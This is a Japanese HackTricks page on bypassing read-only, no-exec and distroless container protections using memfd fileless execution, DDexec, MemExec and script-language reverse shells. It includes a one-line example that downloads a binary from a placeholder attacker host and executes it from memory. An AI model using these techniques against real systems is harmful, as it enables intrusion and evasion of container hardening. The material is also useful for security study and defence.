hacktricks/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md

12 KiB
Raw Blame History

FS保護のバイパス読み取り専用 / 実行不可 / Distroless

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

動画

以下の動画では、このページで説明されているテクニックについて詳しく説明しています:

読み取り専用 / 実行不可のシナリオ

読み取り専用roファイルシステム保護が、特にコンテナ内でLinuxマシンによく見られるようになっています。これは、securitycontextで**readOnlyRootFilesystem: true**を設定するだけで、roファイルシステムでコンテナを実行できるためです。

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

しかし、ファイルシステムがroとしてマウントされていても、/dev/shmは書き込み可能なままですので、ディスクに何も書き込むことはできます。ただし、このフォルダは実行不可の保護でマウントされているため、ここにバイナリをダウンロードしても実行することはできません

{% hint style="warning" %} レッドチームの観点からすると、これにより、システムに既に存在しないバイナリ(バックドアやkubectlのような列挙子など)をダウンロードして実行するのが困難になります。 {% endhint %}

最も簡単なバイパス:スクリプト

バイナリと言及しましたが、インタープリタがマシン内にある限り、シェルスクリプトshが存在する場合)やPythonスクリプトpythonがインストールされている場合)など、任意のスクリプトを実行できます。

ただし、これだけではバイナリバックドアや他のバイナリツールを実行するのには十分ではありません。

メモリバイパス

ファイルシステムが実行を許可していない場合にバイナリを実行したい場合、最も良い方法は、メモリから実行することです。なぜなら、保護はそこには適用されないからです。

FD + execシスコールバイパス

PythonPerlRubyなどの強力なスクリプトエンジンがマシン内にある場合、バイナリをメモリにダウンロードして実行することができます。これは、メモリファイルディスクリプタ(create_memfdシスコール)に保存し、これらの保護によって保護されないため、execシスコールを呼び出す際にfdを実行するファイルとして指定します。

これには、プロジェクトfileless-elf-execを簡単に使用できます。バイナリを渡すと、バイナリを圧縮してb64エンコードし、create_memfdシスコールを呼び出して作成されたfdにデコードして解凍する指示とともに、指定された言語のスクリプトを生成します。そして、それを実行するためにexecシスコールを呼び出します。

{% hint style="warning" %} これは、PHPやNodeなどの他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシスコールを呼び出すデフォルトの方法がないため、バイナリを保存するためのメモリfdを作成するためにcreate_memfdを呼び出すことができないからです。

さらに、/dev/shm内のファイルを持つ通常のfdを作成しても機能しないため、実行不可の保護が適用されるため実行できません。 {% endhint %}

DDexec / EverythingExec

DDexec / EverythingExecは、**/proc/self/mem**を上書きすることで、自分自身のプロセスのメモリを変更する技術です。

したがって、プロセスが実行しているアセンブリコードを制御することで、シェルコードを書き込み、プロセスを任意のコードを実行するように「変異」させることができます。

{% hint style="success" %} DDexec / EverythingExecを使用すると、メモリから自分自身のシェルコードまたは任意のバイナリロードして実行することができます。 {% endhint %}

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

詳細な情報については、Githubまたは以下を参照してください

{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}

MemExec

Memexecは、DDexecの自然な次のステップです。これはDDexecシェルコードをデーモン化したものであり、異なるバイナリを実行するたびにDDexecを再起動する必要はありません。代わりに、DDexecのテクニックを使用してmemexecシェルコードを実行し、このデーモンと通信して新しいバイナリをロードして実行することができます。

https://github.com/arget13/memexec/blob/main/a.phpには、memexecを使用してPHPリバースシェルからバイナリを実行する例があります。

Memdlopen

DDexecと同様の目的を持つmemdlopenテクニックは、メモリにバイナリをロードして後で実行するための簡単な方法を提供します。これにより、依存関係を持つバイナリをロードすることも可能になります。

Distroless Bypass

Distrolessとは

Distrolessコンテナには、パッケージマネージャ、シェル、システムユーティリティなどのより大きなコンポーネントを除外し、ライブラリやランタイムの依存関係など、特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネントのみが含まれています。

Distrolessコンテナの目標は、不要なコンポーネントを排除することでコンテナの攻撃面を減らし、悪用される可能性のある脆弱性の数を最小限に抑えることです。

リバースシェル

Distrolessコンテナでは、通常のシェルを取得するためにshbashが見つからない場合があります。また、通常システムで実行するlswhoamiidなどのバイナリも見つかりません。

{% hint style="warning" %} したがって、通常どおりにリバースシェルを取得したりシステムを列挙したりすることはできません。 {% endhint %}

ただし、侵害されたコンテナが例えばflask webを実行している場合、Pythonがインストールされており、したがってPythonリバースシェルを取得することができます。Nodeが実行されている場合はNodeリバースシェルを取得でき、ほとんどのスクリプト言語でも同様です。

{% hint style="success" %} スクリプト言語を使用することで、言語の機能を利用してシステムを列挙することができます。 {% endhint %}

読み取り専用/実行不可の保護がない場合、リバースシェルを悪用してバイナリをファイルシステムに書き込み実行することができます。

{% hint style="success" %} ただし、この種のコンテナでは通常これらの保護が存在するため、以前のメモリ実行技術を使用してこれらをバイパスすることができます。 {% endhint %}

https://github.com/carlospolop/DistrolessRCEには、スクリプト言語のリバースシェルを取得し、メモリからバイナリを実行するためのいくつかのRCE脆弱性を悪用する例があります。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥